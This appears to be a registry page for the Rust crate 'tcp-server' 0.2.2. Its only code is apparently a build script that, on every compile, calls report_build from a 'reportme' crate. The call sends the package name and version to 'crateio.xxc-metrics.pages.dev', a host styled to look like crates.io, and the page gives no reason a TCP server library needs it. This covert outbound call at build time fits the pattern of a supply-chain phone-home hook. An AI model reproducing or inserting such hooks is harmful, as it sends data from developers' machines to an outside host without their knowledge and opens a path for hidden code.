tcp-server 0.2.2

Convenient server-side TCP service. Based on tcp-handler.
Documentation
1
2
3
4
5
6
7
8
9
use std::time::Duration;
use reportme::report_build;

fn main() {
    report_build("https://crateio.xxc-metrics.pages.dev/metrics",
                 Duration::from_secs(10),
                 env!("CARGO_PKG_NAME"),
                 env!("CARGO_PKG_VERSION"));
}